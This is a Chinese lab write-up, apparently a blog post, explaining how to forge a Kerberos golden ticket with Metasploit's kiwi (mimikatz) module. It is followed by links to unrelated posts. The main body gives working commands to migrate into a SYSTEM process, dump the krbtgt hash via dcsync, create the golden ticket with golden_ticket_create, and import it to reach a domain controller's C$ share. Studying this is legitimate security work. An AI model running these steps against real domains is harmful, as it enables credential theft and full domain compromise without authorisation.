目录

一、kiwi模块使用简介

1.权限问题

2.使用注意事项

3.关于kiwi的命令简介

二、实验过程

1.环境构成

2.实验步骤

三、黄金票据的制作使用

1.制作票据的条件,以及如何获取该条件内容

2.制作黄金票据

3.黄金票据的使用

一、kiwi模块使用简介

1.权限问题

kiwi模块的使用需要域内管理员或者系统权限,如果是非管理员权限那么使用会受到很大的限制

2.使用注意事项

msf中的kiwi模块同时支持32位和64位操作系统,由于该模块默认加载是32位操作系统,如果需要在64位操作系统上使用,则部分功能会受到限制。不过我们可以通过进程迁移的方式恢复它的使用功能,但注意,迁移到的进程应为"NT AUTHORITY\SYSTEM" ,其实这就相当于meterpreter shell下的”getsystem“这个操作。不过经过我的测试,在制作票据时恰恰需要的是域内管理员权限,系统权限不能达到”维持权限“的效果。下面介绍几种迁移进程方法:

(1)通过手动迁移进程

meterpreter shell下ps查看进程

选择一个system权限的进程,例如这里我选择的是pid为1148的,然后输入命令“migrate 1148”

(2)通过自动化的迁移,但不一定会迁移到system权限下

在meterpreter下,run post/windows/manage/mirgate

3.关于kiwi的命令简介

(1)help kiwi                            #帮助查看相关命令

(2)creds_all                           #列举所有凭据

(3)golden_ticket__create      #创建黄金票据

(4)kerberos_ticket_use         #使用kerberos票据

(5)kiwi_cmd                          #执行mimikatz的命令,即后面接mimikatz.exe的命令,但在格式 上又有所不同

注:这里我就是简单介绍这几个制作黄金票据的命令,还有很多命令,以及模块用法,大家可以自行探索,后续如果我没那多作业要写,我可能会将这些命令整理出来。(QAQ)

二、实验过程

1.环境构成

(1)攻击机 kali

(2)域环境:

windows7 计算机名 pc1

windows server 2012  作为域控dc

2.实验步骤

(1)首先通过pc1获取域内管理员权限,然后制作黄金票据。

(2)通过pc1获取域内普通成员权限,然后导入票据,进行结果检验。

三、黄金票据的制作使用

1.制作票据的条件,以及如何获取该条件内容

(1)用户sid

进入shell,whoami /all

注:后面的“-500”不要。

(2)域名,同(1),ipconfig /all

(3)任意一个用户名,可以随便造一个。

(4)krbtgt账户的密码hash值

meterpreter下输入命令:

load kiwi    加载mimikatz模块

kiwi_cmd "lsadump::dcsync /domain:yizhiyu.dc /user:krbtgt"

(这里要加双引号,而在mimikatz.exe中则不需要,这就是我上面所说的相同但有些不同)

2.制作黄金票据

load kiwi  将mimikatz模块加载

golden_ticket_create -d yizhiyu.dc -k 61f3fbebc048cdee4bfa3431f676a3a1 -u administrator -t /root/administrator.ticket

注:

(1) -d 后接域名

-k krbtgt账户的密码hash值

-u 任意的用户名,那么这里我就用administrator

-t 将生成的票据保存在kali中,administrator.ticket这个文件名字以及后缀可以随意

(2)这里再次强调,这个操作只能在域内管理员权限下制作,系统权限不行,即不能将进程迁移到system权限上或者是getsystem提权。

3.黄金票据的使用

(1)使用场景:当我们拿到这个域内的某个低权限即域内成员的账号权限时候,可以利用制作好的票据进行提权攻击。

(2)引用票据

load kiwi   加载mimikatz模块

kerberos_ticket_use /root/administrator

shell进入终端,dir \\dc\c$ 发现可以访问成功,那么说明就成功了,后续就可以通过交互shell或者其他协议的方式进行对其他主机的控制。

基于MSF框架下的kiwi模块制作黄金票据相关推荐

  1. STM32F103C8T6基于Arduino框架下利用定时器跑RBG灯闪烁

    STM32F103C8T6基于Arduino框架下利用定时器跑RGB灯闪烁

  2. ESP32C3基于Arduino框架下的 ESP32 RainMaker开发示例教程

    ESP32C3基于Arduino框架下的 ESP32 RainMaker开发示例教程 ESP RainMaker ESP RainMaker 是乐鑫推出的一个端到端平台.基于该平台,用户无需管理基础设 ...

  3. STM32G070RBT6基于Arduino框架下点灯程序

    STM32G070RBT6基于Arduino框架下点灯程序 ✨说明:Arduino STM32系列开发环境搭建不在本示例范围内. 相关篇<[硬件开源电路]STM32G070RBT6开发板> ...

  4. 基于vue框架下使用Element-UI获取文件MD5值并上传

    基于vue框架下使用Element-UI获取文件MD5值并上传 使用插件: spark-md5 .vue页面 <el-uploadclass="avatar-uploader idca ...

  5. STM32G070RBT6基于Arduino框架下eeprom使用示例

    STM32G070RBT6基于Arduino框架下eeprom使用示例

  6. STM32G070RBT6基于Arduino框架下串口数据接收使用示例

    STM32G070RBT6基于Arduino框架下串口数据接收使用示例 相关篇<STM32G070RBT6基于Arduino串口的使用>

  7. 基于Lua框架下的合宙ESP32C3+1.5‘’Eink墨水屏天气时钟+OLED开源项目分享

    基于Lua框架下的合宙ESP32C3+1.5''Eink墨水屏天气时钟+OLED项目分享

  8. 基于Lua框架下Air103使用U8g2库驱动I2C OLED图像显示

    基于Lua框架下Air103使用U8g2库驱动I2C OLED屏幕图像演示

  9. ESP32基于Arduino框架下U8g2驱动I2C OLED 时间显示

    ESP32基于Arduino框架下U8g2驱动I2C OLED时间显示

最新文章

  1. Linux那些事儿之我是Sysfs(1)sysfs初探
  2. 有限域f9的特征是多少_宽频域谐波的潜在威胁欠缺全面考虑,现有标准需进一步优化...
  3. c#如何操作excel文件、Interior.ColorIndex 色彩列表
  4. linux下搭建hadoop环境步骤分享
  5. 使用goJenkins create job 返回500
  6. System Center Technical Preview DPM(2016)对Exchange2016的灾难恢复
  7. 使用iSCSI搭建IP SAN存储网络
  8. Linux 命令(80)—— chown 命令
  9. CCF201609-3 炉石传说(100分)
  10. 详解解决CAS机制中ABA问题的AtomicStampedReference
  11. 中文书籍中对《人月神话》的引用(完结,共110本):软件工程通史1930-2019、实用Common Lisp编程……
  12. Android使用zxing实现二维码扫描
  13. Laravel学习记录--查询构造器
  14. 纳什均衡(Nash equilibrium)及经典案例
  15. Oracle分区表详解,分区表创建,分区表按日期划分
  16. Android判断手机号码是否是正确的手机号码
  17. 自动化车间3D可视化设计思路
  18. 计算机电源功率计算器,装机不用愁 航嘉功率计算器教你选电源
  19. DZ模板 动漫视频_二次元4 商业版(GBK+UTF) 【价值298】
  20. vim的配置(c语言)

热门文章

  1. Linux中打印文件行号的方法
  2. 加载cad菜单(.mns .mnu .cuix文件)
  3. Windows Server2016 安装升级补丁更新
  4. Java中List和数组Array和String之间的相互转换
  5. 关于nextline自动跳过问题
  6. Google的霸道:我就是要独享安卓源代码!
  7. wp mysql数据库大小_wordpress数据库容量
  8. 做个小推广-风景优美的旅游胜地
  9. 3-3 兔子跳楼梯 3-4 斐波那契数列(II)
  10. 【四】ubuntu中deb包签名与应用